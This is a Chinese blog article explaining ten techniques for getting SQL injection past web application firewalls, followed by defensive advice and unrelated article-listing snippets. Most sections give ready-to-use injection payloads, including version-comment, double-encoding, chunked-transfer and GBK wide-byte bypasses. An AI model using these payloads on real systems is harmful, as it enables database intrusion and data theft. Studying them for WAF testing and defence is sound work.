news 2026/5/4 6:42:54

SQL 注入的 10 种进阶姿势:WAF 防火墙绕过实战,你的数据库真的安全吗?

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL 注入的 10 种进阶姿势:WAF 防火墙绕过实战,你的数据库真的安全吗?

🚨 前言:WAF 真的万能吗?

WAF 的核心逻辑是正则匹配 (Regex Matching)特征检测
只要你的攻击 Payload 长得不像攻击,或者利用了解析差异,就能骗过 WAF,直接捅进数据库的心脏。

攻防逻辑示意图 (Mermaid):

1. 标准 SQL 注入
AND 1=1

匹配规则: 拦截!

2. 变形 Payload
/*M!50000AND*/ 1=1

规则未匹配: 放行

返回敏感数据

攻击者

WAF 防火墙

数据库

❌ 403 Forbidden


🛠️ 第一阶:基础替换流

1. 大小写混合 (Case Variation)
  • 原理:早期的 WAF 规则写得很死,只拦截UNION SELECT
  • 绕过
UnIoNSeLeCt1,user(),vErSiOn()
2. 空白符替换 (Whitespace Manipulation)
  • 原理:WAF 通常拦截空格。
  • 绕过:利用数据库支持的其他空白字符。
  • MySQL%09(TAB),%0a(换行),%0b,%0c,%0d,+
  • Payload
SELECT/**/id/**/FROM/**/usersSELECT%0aid%0aFROM%0ausers
3. 内联注释混淆 (Inline Comments)
  • 原理:利用/* ... */将关键词打断,骗过正则,但在数据库中依然有效。
  • 绕过
UN/**/ION SE/**/LECT password FR/**/OM users

⚔️ 第二阶:逻辑与编码流

4. MySQL 版本号特性 (Version Comments)
  • 原理:MySQL 特有的语法/*! ... */。如果里面的数字小于当前版本号,注释内容会被执行。
  • 绕过
/*!50000UNION*//*!50000SELECT*/1,2,3

解释:WAF 以为是注释直接放行,但 MySQL 5.0 以上会执行它。

5. 双重 URL 编码 (Double Encoding)
  • 原理:WAF 可能只解码一次,但 Web 服务器会解码两次。
  • 绕过
  • s->%73->%25%37%33
  • Payload
id=1%25%35%35%6eion%25%35%33elect1,2#
6. 等价函数/符号替换 (Equivalent Substitution)
  • 原理:WAF 拦截了hex()=,我们就换个写法。
  • 绕过
  • hex()->bin()/ascii()
  • sleep()->benchmark()
  • =->LIKE/RLIKE/REGEXP/<>
  • AND->&&
  • OR->||
  • Payload
id=1&&ascii(substr(user(),1,1))>0

🔥 第三阶:协议与底层流

7. HTTP 参数污染 (HPP - Parameter Pollution)
  • 原理:当 URL 传递两个同名参数?id=1&id=2时,WAF 可能只检測第一个,但后端数据库(如 ASP.NET/IIS)可能解析第二个,或者拼接两者。
  • 绕过
?id=1&id=UNION&id=SELECT&id=1,2,3
8. 缓冲区溢出/超大数据包 (Buffer Overflow)
  • 原理:为了性能,WAF 通常只检测请求的前 8KB 或 16KB。如果你塞入大量的垃圾数据,把攻击 Payload 放在最后,WAF 可能会直接放行。
  • 绕过
id=1/*A x 50000*/UNIONSELECT1,2,3
9. 分块传输编码 (Chunked Transfer Encoding)
  • 原理:在 HTTP 头中添加Transfer-Encoding: chunked,将 Payload 切碎发送。很多 WAF 无法还原分块数据。
  • 绕过
POST /login.php HTTP/1.1 Transfer-Encoding: chunked 4 unio 1 n 4 sele 2 ct ...
10. 宽字节注入 (Wide Byte Injection)
  • 原理:针对 GBK 编码的数据库。WAF 会转义单引号'变为\'(%5c%27)。
  • 绕过:我们在单引号前加一个%df
  • %df%5c在 GBK 中是一个汉字(運)。
  • 于是\'被吃掉了,单引号逃逸了出来。
  • Payload
id=1%df%27 UNION SELECT...

🛡️ 防御篇:如何彻底终结 SQL 注入?

看了上面 10 种绕过姿势,你还觉得你的 WAF 安全吗?
真正的防御不能只靠“堵”(WAF),必须靠“治”(代码)。

  1. 预编译 (Prepared Statements)
  • 这是银弹!无论参数怎么写,数据库都只把它当成纯文本,绝不执行。
  • Java:PreparedStatement
  • PHP:PDO
  1. RASP (运行时应用自我保护)
  • 比 WAF 更高级,直接挂钩在应用内部,检测到底层调用的 SQL 语句。
  1. 严格的输入验证
  • 如果你知道id只能是数字,就用Integer.parseInt()强转,别给黑客留机会。

博主留言:
安全攻防是一场永无止境的猫鼠游戏。
掌握攻击的艺术,是为了更好地构建防御的堡垒。
如果你的生产环境还在拼接 SQL 字符串,请立刻、马上重构代码!

(喜欢这类硬核安全知识?点赞、收藏,下期讲《XSS 跨站脚本攻击的 5 种隐蔽通道》!)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/3 11:09:36

15、Puppet 扩展与负载均衡策略

Puppet 扩展与负载均衡策略 一、CA 目录同步 在进行 Puppet 扩展时,首先要保证 CA(证书颁发机构)目录的同步。可以使用 rsync 命令将主 CA 目录同步到备用 CA 目录,同时删除目标目录中源目录不存在的文件。示例命令如下: [root@puppet-ca-1 ~]# crontab -l * * * * …

作者头像 李华
网站建设 2026/4/30 6:35:35

27、MCollective与Hiera:高效基础设施管理与数据分离方案

MCollective与Hiera:高效基础设施管理与数据分离方案 1. MCollective简介 MCollective为Puppet管理的系统提供实时、基于元数据的命令和控制。它采用创新的方法来编排大量系统,不依赖主机名,而是与Facter集成,通过元数据过滤不想执行操作的机器。同时,它使用STOMP消息传…

作者头像 李华
网站建设 2026/5/3 3:12:55

Proteus 8.16下载安装教程:适用于64位系统的实践指南

Proteus 8.16 安装实战&#xff1a;从零开始搞定64位系统部署你是不是也遇到过这种情况&#xff1f;刚下载好 Proteus 8.16 的安装包&#xff0c;满怀期待地点开 Setup.exe&#xff0c;结果弹出一堆错误提示——“缺少 DLL 文件”、“访问被拒绝”、“启动后闪退”……折腾半天…

作者头像 李华
网站建设 2026/5/3 4:50:51

Dify平台的教学沙箱模式设计构想

Dify平台的教学沙箱模式设计构想 在人工智能教育快速普及的今天&#xff0c;越来越多高校和培训机构开始开设LLM&#xff08;大语言模型&#xff09;相关课程。但一个现实问题摆在面前&#xff1a;学生如何真正“动手”实践AI应用开发&#xff1f;传统的教学方式依赖PPT讲解和代…

作者头像 李华
网站建设 2026/4/25 1:23:06

AUTOSAR网络管理睡眠确认机制项目应用实例

AUTOSAR网络管理中的睡眠确认机制&#xff1a;从原理到实战的深度剖析一场“集体休眠”的工程挑战想象这样一个场景&#xff1a;车辆熄火后&#xff0c;所有电子控制单元&#xff08;ECU&#xff09;本应安静地进入低功耗睡眠模式&#xff0c;以减少蓄电池的静态电流消耗。然而…

作者头像 李华
网站建设 2026/5/1 20:58:59

Dify在房地产房源描述自动生成中的实践

Dify在房地产房源描述自动生成中的实践 当一套新房源上线&#xff0c;经纪人还在为“如何写出打动人心的文案”绞尽脑汁时&#xff0c;隔壁公司已经通过系统自动发布了五条风格统一、卖点精准的房源信息——这并非未来场景&#xff0c;而是当下部分头部房产平台正在发生的现实。…

作者头像 李华